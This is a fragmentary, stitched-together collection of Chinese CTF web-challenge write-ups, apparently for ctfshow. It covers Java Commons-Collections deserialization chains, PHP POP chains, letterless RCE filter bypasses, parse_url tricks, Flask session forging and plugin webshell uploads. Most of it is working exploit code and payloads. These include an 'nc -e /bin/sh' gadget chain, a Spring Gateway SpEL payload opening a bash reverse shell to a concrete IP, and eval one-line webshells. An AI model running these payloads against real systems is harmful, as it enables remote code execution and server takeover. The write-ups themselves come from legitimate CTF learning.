Map innerMap = new HashMap();
Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet expMap = new HashSet();
expMap.add(entry);
//移除entry那lazyMap的键
lazyMap.remove("foo");
//通过反射将真正的恶意Transform放进去
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
String payload = new String(Base64.getEncoder().encode(barr.toByteArray()));
System.out.println(payload);
web852
web853
之前那个改的链子打不通了,显示java.lang.ClassNotFoundException: ClassName Not Support,用yu22x师傅的链子改一下:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.io.ByteArrayOutputStream;
public class Main{
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException,Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc ip port -e /bin/sh"})
Transformer transformerChain2 = new ChainedTransformer(transformers);
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain2);
DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain2);
defaultedMap1.put("yy", 1);
defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 1);
defaultedMap2.remove("yy");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(payload);
windows下会报错,因为没法执行nc,所以建议linux下使用
web859_有跳板机
登录上去后sudo -s进入root权限,然后home目录创一个ctfshow目录,chmod 777 ctfshow给一下权限,然后就可以用xftp给ctfshow目录传一个fscan_amd64,接着上去扫一下内网。
先ifconfig看一下ip
function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
if(waf($_POST[1])){
include "file://".$_POST[1];
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
'1':'localhost/tmp/sess_ctfshow',
'2':'system("cat /flag_is_here.txt");'
file = {
'file': 'ctfshow'
cookies = {
'PHPSESSID': 'ctfshow'
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
class ctf{
public $h1;
public $h2;
public function __wakeup(){
throw new Exception("fastfast");
public function __destruct()
$this->h1->nonono($this->h2);
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
public function __toString(){
echo "__toString"."<br>";
if ($this->chu0===$this->chu1){
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
file_put_contents("ctfw.txt","");
return "Go on";
if (!$_GET['show_show.show']){
echo "开胃小菜,就让我成为签到题叭";
highlight_file(__FILE__);
}else{
echo "WAF,启动!";
waf1($_REQUEST);
waf2($_SERVER['QUERY_STRING']);
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
unserialize($_GET['show_show.show']);
}else{
echo "被waf啦";
拆开看,把waf啥的都先不看,关键是触发到Chu0_write的toString()
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
class ctf{
public $h1;
public $h2;
public function __destruct()
$this->h1->nonono($this->h2);
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
class Chu0_write{
public function __toString(){
echo "__toString"."<br>";
unserialize($_GET['show_show.show']);
链子倒是不难
ctf::__destruct
show::__call()
Chu0_write
::tostring
给ctf->$h1赋为show,这样触发call,然后$b=new Chu0_write(); $c=array(”,”,$b);$a->h2=array($c);实现对Chu0_write::tostring的触发
class ctf{
public $h1;
public $h2;
public function __destruct()
$this->h1->nonono($this->h2);
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
class Chu0_write{
public function __toString(){
echo "__toString"."<br>";
$a=new ctf();
$b=new Chu0_write();
$c=array('','',$b);
$a->h1=new show();
$a->h2=array($c);
echo serialize($a);
#O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":0:{}}}}
传的时候用show[show.show,php判断的时候会把第一个[转为_然后后面的就不修改了。然后来看waf
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
这个简单,后面判断是waf1($_REQUEST);,同时传post和get其实只会判断get,所以post随便传一个1就行了。
RCE极限挑战
RCE挑战1
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
php里可以用<?=xxx ?>输出表达式的值,所以我们可以闭合前面的<?php,然后用反引号输出执行命令的结果:
code=?><?= `cat /f*`;
当然也可以用我之前[HBCTF2017]大美西安的方法,直接echo出执行结果:
code=echo `cat /f*`;
RCE挑战2
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}else{
phpinfo();
因为我对正则不是很熟悉,所以本来想直接问ChatGPT过滤了啥,网上看到了一个大佬的脚本挺好的,其实直接暴力遍历一遍就可以了:
for($a = 0; $a < 256; $a++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($a))){
echo chr($a)." ";
大概剩下的可用的就是,那些不可见字符就算了:
! $ ' ( ) + , . / ; = [ ] _
简单看下过滤,其实和之前训练营那个题差不多,改改就能用,不过训练营我们使用了$__=++$____; –$__;这种形式构造了数字零,但这里减号被过滤了所以没法了。因此需要找其他途径,当时我们构造零的作用是为了在(_/_).”=NAN后用数组的形式取出第一个字母,所以需要((_/_).”){0}=’N’,不过其实除了这样还有种方法也可以完成这件事,我们在这里可以用一个判断,比如我们在[]里加一个==$
,此时因为空和$
不同,它就会输出0
,此时也就等同于$_[0],所以事实上((_/_).”)[”==’$’]=’N’
++$____; #T
$________=$____; #$________=T
$_________=$______.$_____.$_______.$________; #POST
$_________='_'.$_________; #_POST
$$_________[_]($$_________[__]); #$_POST[_]($_POST[__];)
所以payload为:
$____=((_/_).'')[''=='$'];$_____=++$____; ++$____;$______=$____; ++$____;++$____;++$____; $_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________='_'.$_________;$$_________[_]($$_________[__]);
最后可以直接POST执行命令的payload为:
ctf_show=%24____%3D((_%2F_).'')%5B''%3D%3D'%24'%5D%3B%24_____%3D%2B%2B%24____%3B%20%2B%2B%24____%3B%24______%3D%24____%3B%20%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%20%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%5B_%5D(%24%24_________%5B__%5D)%3B&_=system&__=cat /f*
RCE挑战3
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}else{
phpinfo();
可用字符:
$ ( ) + , . / 0 1 ; = [ ] _
比上一道题少过滤了0和1,多过滤了!和’,但这里限制了我们的payload的长度必须少于105,所以现在咱们得思考怎么缩短长度,现在构造的payload:
$_=((_/_)._)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[1]); // $_POST[_]($_POST[1]);
$_=((_/_)._)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);
可以看到payload肉眼可见的变短了很多,长度只有80,可谓超额完成了任务😂
直接POST拿flag的payload:
ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B1%5D)%3B&_=system&1=cat /f*
RCE挑战4
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}else{
phpinfo();
可用字符为:
$ ( ) + , . / 0 ; = [ ] _
这里长度限制为84以下,和上一题比也就是多过滤了1,并且再一次限制了payload长度。不过我们上一题做的比较好,长度也才80,把那个1改成0这道题也能用了:
$_=((_/_).$_)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);
直接POST拿flag的payload:
ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=cat /f*
RCE挑战5
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}else{
phpinfo();
可用字符:
$ ( ) + , . / ; = [ ] _
比上一个题多过滤了0,而且长度限制在了73以内。看了下其他师傅的wp,发现了些神奇操作,首先对于取第一个字母N其实根本不需要用[0],甚至也不需要[”==’$’],其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符:
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
可用字符:
! $ ' ( ) , . / 0 1 2 3 4 5 6 7 8 9 = ? \ a ~
可以用数字和字母a,我们不难联想到p牛博客里提到的用?通配符通配未知字母以此来执行这个getflag,payload:
ctf_show=/?????a?
极限命令执行2
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
check.php过滤的字符未知,我们手动fuzz一下,可用字符少了?,通配符这条路不行了,这里可以用另一种方法,我们可以用$’\xxx’的方式执行命令,其中xxx是ascii字母的8进制值,比如用$’\154\163’代替ls:
payload='$0<<<$0\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'
payload+='\\\''
r=requests.post(url,data={"ctf_show":payload,})
print(r.text)
极限命令执行4
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
这个题多过滤了1,但这也挺好解决的,我那篇无字母数字rce黑魔法也提到过一个神奇的脚本变量,那就是$#,他表示#后的字符数:
ctf_show=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
极限命令执行5
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
做到这里的时候经过研究我写了利用shell脚本变量构造无字母数字命令,提出了几种无字母数字命令构造方法以及脚本,但抽象的是我试了之后发现这些payload这里没法打,为什么呢,我们看到出题人的描述:
ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
#level5
import requests
url="http://15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show/"
cmd='cat /flag'
r = {}
x='$((~$(())))'#-1
for i in range(1,9):
r[i]='$((~$(('+x
for j in range(i):
r[i]+=x
r[i]+='))))'
r[0]='$(())'
payload='__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload+='\\\\'
for i in oct(ord(c))[2:]:
payload+=r[int(i)]
payload+='\\\''
r=requests.post(url,data={"ctf_show":payload,})
print(r.text)
PARSE_URL
$data = parse_url($_GET['u']);
eval($data['host']);
取的是$data[‘host’],也就是域名,其实你也可以直接var_dump($data);看看都是什么参数代表什么意思,先在本地搭个环境,调试好自己的payload,最后我的payload:
?u=http://@eval($_POST[1]);
POST:1=system("cat /*f*");
这样取的域名就是@eval($_POST[1]);,直接写入源码里相当于一句话木马了
<?php $a = 'Original';
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a;
\$b = $b;
\$c = $c";
$a = Cat;
$b = Dog;
$c = Horse
经过parse_url($_GET[‘u’])处理之后我们url的各个参数其实本来也就变得像数组一样,所以我们现在只需要控制各个参数的值使最后解析出来的$$$$$$host为php://input,做这个题的时候我本地调试了蛮久的,我的测试代码是:
highlight_file(__FILE__);
$url_array = parse_url($_GET['u']);#传入?u=query://pass:scheme@user/?fragment%23php://input
var_dump($url_array);
extract($url_array);
echo "<br>";
echo "\$host:".$host;
echo "<br>";
echo "\$\$host:".$$host;
echo "<br>";
echo "\$\$\$host:".$$$host;
echo "<br>";
echo "\$\$\$\$host:".$$$$host;
echo "<br>";
echo "\$\$\$\$\$host:".$$$$$host;
echo "<br>";
echo "\$\$\$\$\$\$host:".$$$$$$host;
// include $$$$$$host;
/*输出:
array(7) { ["scheme"]=> string(5) "query" ["host"]=> string(4) "user" ["user"]=> string(4) "pass" ["pass"]=> string(6) "scheme" ["path"]=> string(1) "/" ["query"]=> string(8) "fragment" ["fragment"]=> string(11) "php://input" }
$host:user
$$host:pass
$$$host:scheme
$$$$host:query
$$$$$host:fragment
$$$$$$host:php://input */
所以用不同参数名慢慢构造就行了,因为fragment是最可控的,完全没有啥限制,所以我最后就让[“query”]=> string(8) “fragment”,这样$$query就会解析出来$fragment的值,前面几个参数的作用也就是互相跳转互相解析直到最后跳转到fragment,最后payload:
/?u=query://pass:scheme@user/?fragment%23php://input
POST: <?php system("cat /*f*");?>
POST /v1/auth/users?username=crow&password=crow HTTP/1.1
Host: 1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show
Connection: close
Referer: http://1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show/
Cookie: _ga=GA1.2.178448525.1671190440
"name": "AddResponseHeader",
"args": {
"name":"result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/43.153.175.155/9383 0>&1'}).getInputStream())).replaceAll(\"\n\",\"\").replaceAll(\"\r\",\"\")}"}
"uri": "http://example.com"
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)
@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)
可以看到我们需要伪造身份前往/secret_path_U_never_know,下个工具伪造下
python3 flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo\!"
#eyJpc2FkbWluIjp0cnVlfQ.Y5x4EA.mp5viAKszMXpwwwZhEWzsP0KAXI
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
因为是弱比较,所以可以用:?num=114514+1805296,编码后也就是?num=114514%2B1805296
但又因assert函数跟eval函数类似,能够执行php,所以直接闭合也行
?num=114514);//
?num=114514)==1 or system('ls');#
编码一下:?num=114514)==1%20or%20system('ls')%3B%23
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
?num=114514%2b1805296
TapTapTap
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
else {
highlight_file(__FILE__);
class Webshell {
public $cmd = 'cat *';
$a=new Webshell();
echo serialize($a);
#O:8:"Webshell":1:{s:3:"cmd";s:5:"cat *";}
print(payload)
#gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]](" "+"xbit_mask"[4]+"xbit_mask"[4]+"xbit_mask"[2]+"xmpz"[1]+"xmpz"[2]+"zero"[3]+"zero"[2]+"zeta"[2]+"xbit_mask"[4]+"xbit_mask"[4]+"("+"'"+"zero"[3]+"xbit_mask"[7]+"'"+")"+"."+"xmpz"[2]+"zero"[3]+"xmpz"[2]+"zeta"[1]+"yn"[1]+"("+"'"+"unpack"[4]+"zeta"[3]+"zeta"[2]+" "+"/"+"root_of_unity"[6]+"rint_floor"[6]+"zeta"[3]+"sign"[2]+"'"+")"+"."+"zero"[2]+"zeta"[1]+"zeta"[3]+"t_mod_2exp"[4]+"("+")")
from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
print('Done!')
except subprocess.TimeoutExpired:
print('Timeout!')
except:
print('Error!')
else:
print('No Flag!')
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
作用就是对当前目录执行[cmd[:3], param, __file__],其中cmd半可控,param可控_file_是个固定值。
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
简单的批爆,好久没见过这么淳朴的pop题了:
Moon::__wakeup()
Ion_Fan_Princess::__toString()
Ion_Fan_Princess::call()
class Moon{
public $name;
class Ion_Fan_Princess{
public $nickname="小甜甜";
$a=new Moon();
$a->name=new Ion_Fan_Princess();
echo urlencode(serialize($a));
#?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D
LSB探姬
# !/usr/bin/env python
# -*-coding:utf-8 -*-
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
f.save('upload/'+f.filename)
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
return jsonify(data)
except:
data={"code":1,"message":"file upload error!"}
return jsonify(data)
else:
return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT
Anything is good?Please test it. <?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
@mkdir('./plugins/', 0777);
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
利用好push和pull即可,先用push传马,再用pull执行它
?action=push&output=<?php eval($_GET[1]);?>
